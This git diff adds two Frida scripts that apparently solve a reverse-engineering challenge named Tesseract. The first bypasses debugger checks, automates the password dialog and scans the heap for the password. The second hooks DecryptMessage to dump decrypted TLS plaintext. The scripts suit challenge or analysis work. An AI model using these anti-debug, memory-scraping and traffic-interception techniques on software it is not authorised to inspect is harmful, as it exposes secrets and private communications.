z`J1ghFz~Oc)Bg(E{;$*M{ypd8|LRw#qIMq#4z^|r>v)O&vEX_)jI_!%9)$h};bVA( literal 0 HcmV?d00001 diff --git a/tesseract-reverse/stage_1_findpassword.js b/tesseract-reverse/stage_1_findpassword.js new file mode 100644 index 0000000..27170fc --- /dev/null +++ b/tesseract-reverse/stage_1_findpassword.js @@ -0,0 +1,351 @@ +console.log('[*] solve.js: anchor-based heap extractor loaded'); + +function getExport(mod, name) { + var m = Process.findModuleByName(mod); + if (!m) return null; + try { + return m.getExportByName(name); + } catch (_) { + return null; + } +} + +function safeReadUtf16(p, maxChars) { + if (p.isNull()) return null; + try { + if (maxChars !== undefined) return p.readUtf16String(maxChars); + return p.readUtf16String(); + } catch (_) { + return null; + } +} + +function isPrintableAscii(c) { + return c >= 0x20 && c <= 0x7e; +} + +function readUtf16Around(addr, maxChars) { + + var p = addr; + try { + for (var i = 0; i < 128; i++) { + var prev = p.sub(2).readU16(); + if (prev === 0) break; + if (!isPrintableAscii(prev)) break; + p = p.sub(2); + } + } catch (_) {} + + var s = safeReadUtf16(p, maxChars || 96); + return { base: p, str: s }; +} + +function analyzeString(s) { + var hasU = false; + var hasL = false; + var hasD = false; + var underscores = 0; + for (var i = 0; i < s.length; i++) { + var ch = s.charCodeAt(i); + if (ch === 0x5f) underscores++; + if (ch >= 0x41 && ch <= 0x5a) hasU = true; + else if (ch >= 0x61 && ch <= 0x7a) hasL = true; + else if (ch >= 0x30 && ch <= 0x39) hasD = true; + } + var segs = s.split('_').length; + return { hasU: hasU, hasL: hasL, hasD: hasD, underscores: underscores, segs: segs }; +} + +function looksKeyLike(s) { + if (!s) return false; + if (s.length < 8 || s.length > 64) return false; + + // Filter obvious noise. + if (s.indexOf('=') !== -1) return false; + if (s.indexOf('\\') !== -1) return false; + if (s.indexOf(':') !== -1) return false; + if (s.indexOf('.') !== -1) return false; + if (s.indexOf(' ') !== -1) return false; + + + for (var i = 0; i < s.length; i++) { + var c = s.charCodeAt(i); + if (!isPrintableAscii(c)) return false; + } + + for (var i = 0; i < s.length; i++) { + var c = s.charCodeAt(i); + var ok = + (c >= 0x30 && c <= 0x39) || + (c >= 0x41 && c <= 0x5a) || + (c >= 0x61 && c <= 0x7a) || + c === 0x5f; + if (!ok) return false; + } + + if (s.indexOf('_') === -1) return false; + + var a = analyzeString(s); + if (!(a.hasU && a.hasL)) return false; + + return true; +} + +function scoreCandidate(s) { + var a = analyzeString(s); + var score = 0; + + if (s.length >= 12 && s.length <= 32) score += 50; + score += Math.max(0, 40 - Math.abs(s.length - 20)); + + if (a.segs >= 3 && a.segs <= 5) score += 30; + else score -= Math.abs(a.segs - 4) * 5; + + + if (a.hasD) score += 10; + score += a.underscores * 2; + + return score; +} + +function absPtrDelta(a, b) { + try { + var d = a.sub(b).toInt32(); + if (d < 0) d = -d; + return d; + } catch (_) { + return 0x7fffffff; + } +} + +function installAntiAntiDebug() { + function hookRet0(mod, name) { + var addr = getExport(mod, name); + if (!addr) return; + try { + Interceptor.replace( + addr, + new NativeCallback(function () { + return 0; + }, 'int', []) + ); + console.log('[*] anti-anti-debug: ' + mod + '!' + name + ' -> 0'); + } catch (_) {} + } + + function hookCheckRemoteDebuggerPresent() { + var mod = 'kernel32.dll'; + var name = 'CheckRemoteDebuggerPresent'; + var addr = getExport(mod, name); + if (!addr) return; + try { + Interceptor.replace( + addr, + new NativeCallback(function (hProcess, pbDebuggerPresent) { + try { + if (!pbDebuggerPresent.isNull()) pbDebuggerPresent.writeU32(0); + } catch (_) {} + return 1; + }, 'int', ['pointer', 'pointer']) + ); + console.log('[*] anti-anti-debug: ' + mod + '!' + name + ' -> TRUE, out=0'); + } catch (_) {} + } + + hookRet0('kernel32.dll', 'IsDebuggerPresent'); + hookCheckRemoteDebuggerPresent(); +} + +function automateUi() { + var user32 = 'user32.dll'; + var pEnumWindows = getExport(user32, 'EnumWindows'); + var pEnumChildWindows = getExport(user32, 'EnumChildWindows'); + var pGetWindowThreadProcessId = getExport(user32, 'GetWindowThreadProcessId'); + var pGetWindowTextW = getExport(user32, 'GetWindowTextW'); + var pGetClassNameW = getExport(user32, 'GetClassNameW'); + var pSendMessageW = getExport(user32, 'SendMessageW'); + + if (!pEnumWindows || !pEnumChildWindows || !pGetWindowThreadProcessId || !pGetWindowTextW || !pGetClassNameW || !pSendMessageW) { + return; + } + + var EnumWindows = new NativeFunction(pEnumWindows, 'int', ['pointer', 'pointer']); + var EnumChildWindows = new NativeFunction(pEnumChildWindows, 'int', ['pointer', 'pointer', 'pointer']); + var GetWindowThreadProcessId = new NativeFunction(pGetWindowThreadProcessId, 'uint', ['pointer', 'pointer']); + var GetWindowTextW = new NativeFunction(pGetWindowTextW, 'int', ['pointer', 'pointer', 'int']); + var GetClassNameW = new NativeFunction(pGetClassNameW, 'int', ['pointer', 'pointer', 'int']); + var SendMessageW = new NativeFunction(pSendMessageW, 'pointer', ['pointer', 'uint', 'pointer', 'pointer']); + + var pidBuf = Memory.alloc(4); + + function getText(hwnd) { + var buf = Memory.alloc(2 * 512); + buf.writeU16(0); + var n = GetWindowTextW(hwnd, buf, 512); + if (n <= 0) return ''; + return safeReadUtf16(buf, 512) || ''; + } + + function getClass(hwnd) { + var buf = Memory.alloc(2 * 256); + buf.writeU16(0); + var n = GetClassNameW(hwnd, buf, 256); + if (n <= 0) return ''; + return safeReadUtf16(buf, 256) || ''; + } + + function findMainWindow() { + var best = NULL; + var cb = new NativeCallback(function (hwnd, lParam) { + pidBuf.writeU32(0); + GetWindowThreadProcessId(hwnd, pidBuf); + var pid = pidBuf.readU32(); + if (pid !== Process.id) return 1; + + var title = getText(hwnd); + if (best.isNull()) best = hwnd; + if (title.indexOf('Tesseract') !== -1) { + best = hwnd; + return 0; + } + return 1; + }, 'int', ['pointer', 'pointer']); + + EnumWindows(cb, ptr(0)); + return best; + } + + function findControls() { + var hwnd = findMainWindow(); + if (hwnd.isNull()) return null; + + var btn = NULL; + var edit = NULL; + + var cb = new NativeCallback(function (child, lParam) { + var txt = getText(child); + var cls = getClass(child); + if (btn.isNull() && txt === 'Check') btn = child; + if (edit.isNull() && cls.indexOf('EDIT') !== -1) edit = child; + return 1; + }, 'int', ['pointer', 'pointer']); + + EnumChildWindows(hwnd, cb, ptr(0)); + return { hwnd: hwnd, btn: btn, edit: edit }; + } + + var WM_SETTEXT = 0x000c; + var BM_CLICK = 0x00f5; + + var cached = null; + setInterval(function () { + try { + if (!cached || cached.btn.isNull() || cached.edit.isNull()) { + cached = findControls(); + if (!cached) return; + console.log('[*] UI: hwnd=' + cached.hwnd + ' edit=' + cached.edit + ' btn=' + cached.btn); + if (cached.btn.isNull() || cached.edit.isNull()) return; + } + + var input = Memory.allocUtf16String('a'); + SendMessageW(cached.edit, WM_SETTEXT, ptr(0), input); + SendMessageW(cached.btn, BM_CLICK, ptr(0), ptr(0)); + } catch (_) {} + }, 300); +} + +var dumped = false; +function dumpCandidatesAround(anchorPtr) { + if (dumped) return; + dumped = true; + + console.log('[*] anchor ptr=' + anchorPtr); + var r = Process.findRangeByAddress(anchorPtr); + if (!r) { + console.log('[!] findRangeByAddress failed'); + return; + } + + var radius = 0x100000; + var lo = r.base; + var hi = r.base.add(r.size); + + var start = anchorPtr.sub(radius); + if (start.compare(lo) < 0) start = lo; + + var end = anchorPtr.add(radius); + if (end.compare(hi) > 0) end = hi; + + var size = end.sub(start).toInt32(); + console.log('[*] scan window base=' + start + ' size=' + size + ' (range base=' + r.base + ' size=' + r.size + ')'); + + var needle = '5F 00'; + var seen = {}; + var cands = []; + + Memory.scan(start, size, needle, { + onMatch: function (address, sz) { + var res = readUtf16Around(address, 96); + var s = res.str; + if (!looksKeyLike(s)) return; + if (seen[s]) return; + seen[s] = 1; + + var dist = absPtrDelta(res.base, anchorPtr); + var score = scoreCandidate(s); + cands.push({ s: s, addr: res.base, dist: dist, score: score }); + }, + onError: function (reason) {}, + onComplete: function () { + cands.sort(function (a, b) { + if (b.score !== a.score) return b.score - a.score; + return a.dist - b.dist; + }); + + console.log('[*] candidates found: ' + cands.length); + var top = Math.min(15, cands.length); + for (var i = 0; i < top; i++) { + var c = cands[i]; + console.log('[CAND ' + (i + 1) + '] score=' + c.score + ' dist=' + c.dist + ' @' + c.addr + ' ' + c.s); + } + + if (cands.length > 0) { + console.log('[+] BEST GUESS: ' + cands[0].s); + } else { + console.log('[!] No candidates.'); + } + } + }); +} + +function installAnchorHook() { + var addr = getExport('user32.dll', 'DrawTextExW'); + if (!addr) { + console.log('[!] missing user32!DrawTextExW'); + return; + } + + Interceptor.attach(addr, { + onEnter: function (args) { + if (dumped) return; + var pText = args[1]; + var n = args[2].toInt32(); + if (pText.isNull()) return; + var s = safeReadUtf16(pText, n === -1 ? 512 : Math.min(n, 512)); + if (!s) return; + if (s.indexOf('Invalid Password') !== -1) { + console.log('[*] saw Invalid Password'); + dumpCandidatesAround(pText); + } + } + }); + + console.log('[*] hooked user32!DrawTextExW'); +} + +setTimeout(function () { + installAntiAntiDebug(); + installAnchorHook(); + automateUi(); + console.log('[*] ready; waiting for Invalid Password render...'); +}, 500); diff --git a/tesseract-reverse/stage_2_decryptmessage.js b/tesseract-reverse/stage_2_decryptmessage.js new file mode 100644 index 0000000..f13551a --- /dev/null +++ b/tesseract-reverse/stage_2_decryptmessage.js @@ -0,0 +1,176 @@ + + +var installed = false; +var msgNo = 0; + +function getExport(mod, name) { + var m = Process.findModuleByName(mod); + if (!m) return null; + try { + return m.getExportByName(name); + } catch (_) { + return null; + } +} + +function findExportBySubstring(mod, needle) { + var m = Process.findModuleByName(mod); + if (!m) return null; + try { + var ex = m.enumerateExports(); + var lowNeedle = needle.toLowerCase(); + for (var i = 0; i < ex.length; i++) { + var n = (ex[i].name || "").toLowerCase(); + if (n.indexOf(lowNeedle) !== -1) return ex[i].address; + } + } catch (_) {} + return null; +} + +function bytesToEscapedText(bytes) { + var out = ""; + for (var i = 0; i < bytes.length; i++) { + var b = bytes[i] & 0xff; + if (b === 0x0a) out += "\n"; + else if (b === 0x0d) out += "\r"; + else if (b === 0x09) out += "\t"; + else if (b >= 0x20 && b <= 0x7e) out += String.fromCharCode(b); + else { + var h = b.toString(16); + if (h.length === 1) h = "0" + h; + out += "\\x" + h; + } + } + return out; +} + +function readSecBufferDesc(pDesc) { + var ptrSize = Process.pointerSize; + if (pDesc.isNull()) return []; + + var cBuffers = 0; + var pBuffers = NULL; + try { + cBuffers = pDesc.add(4).readU32(); + pBuffers = pDesc.add(8).readPointer(); + } catch (_) { + return []; + } + if (cBuffers === 0 || cBuffers > 32) return []; + if (pBuffers.isNull()) return []; + + var out = []; + var secBufSize = 8 + ptrSize; // 12 on x86, 16 on x64 + for (var i = 0; i < cBuffers; i++) { + try { + var p = pBuffers.add(i * secBufSize); + var cb = p.readU32(); + var type = p.add(4).readU32(); + var pv = p.add(8).readPointer(); + out.push({ cb: cb, type: type, pv: pv }); + } catch (_) {} + } + return out; +} + +function dumpPlaintext(bytes) { + if (!bytes || bytes.length === 0) return; + + msgNo++; + console.log(""); + console.log("[*] ===== DecryptMessage plaintext #" + msgNo + " (" + bytes.length + " bytes) ====="); + + // Prefer single print to preserve original line breaks. Fall back to chunking + // only for very large buffers. + var MAX_SINGLE_LOG = 256 * 1024; + if (bytes.length <= MAX_SINGLE_LOG) { + console.log(bytesToEscapedText(bytes)); + return; + } + + var CHUNK = 256 * 1024; + for (var off = 0; off < bytes.length; off += CHUNK) { + var end = off + CHUNK; + if (end > bytes.length) end = bytes.length; + console.log("[*] --- chunk " + off + ".." + end + " ---"); + console.log(bytesToEscapedText(bytes.subarray(off, end))); + } +} + +function installAntiAntiDebug() { + function hookRet0(mod, name) { + var a = getExport(mod, name); + if (!a) return; + try { + Interceptor.replace(a, new NativeCallback(function () { return 0; }, "int", [])); + console.log("[*] anti-anti-debug: " + mod + "!" + name + " -> 0"); + } catch (_) {} + } + + function hookCheckRemoteDebuggerPresent() { + var a = getExport("kernel32.dll", "CheckRemoteDebuggerPresent"); + if (!a) return; + try { + Interceptor.replace( + a, + new NativeCallback(function (hProcess, pbDebuggerPresent) { + try { if (!pbDebuggerPresent.isNull()) pbDebuggerPresent.writeU32(0); } catch (_) {} + return 1; + }, "int", ["pointer", "pointer"]) + ); + console.log("[*] anti-anti-debug: kernel32!CheckRemoteDebuggerPresent -> TRUE,out=0"); + } catch (_) {} + } + + hookRet0("kernel32.dll", "IsDebuggerPresent"); + hookCheckRemoteDebuggerPresent(); +} + +function installHooksOnce() { + if (installed) return true; + + var addr = + getExport("secur32.dll", "DecryptMessage") || + findExportBySubstring("secur32.dll", "DecryptMessage") || + getExport("sspicli.dll", "DecryptMessage") || + findExportBySubstring("sspicli.dll", "DecryptMessage"); + + if (!addr) return false; + + installed = true; + console.log("[*] Hooking DecryptMessage @ " + addr); + + Interceptor.attach(addr, { + onEnter: function (args) { + this.pDesc = args[1]; + }, + onLeave: function (retval) { + try { + var bufs = readSecBufferDesc(this.pDesc); + for (var i = 0; i < bufs.length; i++) { + var b = bufs[i]; + if (b.type !== 1) continue; + if (b.cb === 0) continue; + if (b.pv.isNull()) continue; + + var ab = b.pv.readByteArray(b.cb); + if (ab === null) continue; + dumpPlaintext(new Uint8Array(ab)); + } + } catch (_) {} + } + }); + + return true; +} + +setTimeout(function () { + installAntiAntiDebug(); +}, 100); + +setInterval(function () { + if (!installed) { + var ok = installHooksOnce(); + if (ok) console.log("[*] DecryptMessage hook installed. Use the app normally and wait for output..."); + } +}, 50);